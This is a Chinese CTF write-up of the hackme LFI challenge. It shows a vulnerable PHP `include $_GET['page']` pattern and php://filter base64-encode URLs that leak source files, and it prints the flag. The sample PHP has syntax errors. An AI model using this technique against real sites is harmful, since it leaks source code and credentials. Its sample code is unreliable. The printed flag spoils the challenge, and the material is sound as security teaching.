LFI

[src = hackme] LFI

题目描述

What this admin’s password? That is not important at all, just get the flag.
Tips: LFI, php://filter

WP

点击题目,跳转到题目页面。网页的URL为:https://hackme.inndy.tw/lfi/?page=pages/index

点击Introduction时,URL变为:https://hackme.inndy.tw/lfi/?page=pages/intro

点击Login时,URL变为:https://hackme.inndy.tw/lfi/?page=pages/login

可以看到参数page为文件包含,题目对提示也是本地文件包含(LFI,Local file inclusion),还有一种是远程文件包含(RFI、Remote file inclusion)。php中常见的文件包含函数有以下四种:
include()
require()
include_once()
require()_once()

当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析。
示例代码如下:

1
2
3
4
<?php
$file=$__GET['page'];
include $file;
>

或者通过后天添加后缀对方式:

1
2
3
4
<?php
$file=$__GET['page']."php";
include $file;
>

题目提示不要管admin和密码,所以猜测是不是有一个flag的文件,可以包含进来。尝试
https://hackme.inndy.tw/lfi/?page=pages/flag
显示下面的页面:
lfi
页面提示“Can you read the flag?”。

再看题目的第二个提示,php://filter,因为LFI只能读取到非php文件的源码,所以对PHP文件只能解析执行,所以要看到PHP文件的源码,需要通过通过php伪协议php://filter/read=convert.base64-encode/resource= 利用LFI来查看源码。构造下面的URL:
https://hackme.inndy.tw/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/flag
得到一串Base64解码得到

1
Can you read the flag<?php require('config.php'); ?>?

再尝试同样的方式读取config.php(https://hackme.inndy.tw/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/config).得到的base64解码得到flag:

1
2
3
<?php

$flag = "FLAG{Yoooooo_LFI_g00d_2cXxsXSYP9EVLrIo}";

补充:php其他对伪协议
php://input:可以读取没有处理过的POST数据,不依赖于特定的php.ini指令。当enctype=”multipart/form-data” 的时候 php://input 是无效的。

[知识点]

本地文件包含是一个重要的Web漏洞,结合php://filter/可以泄露源码。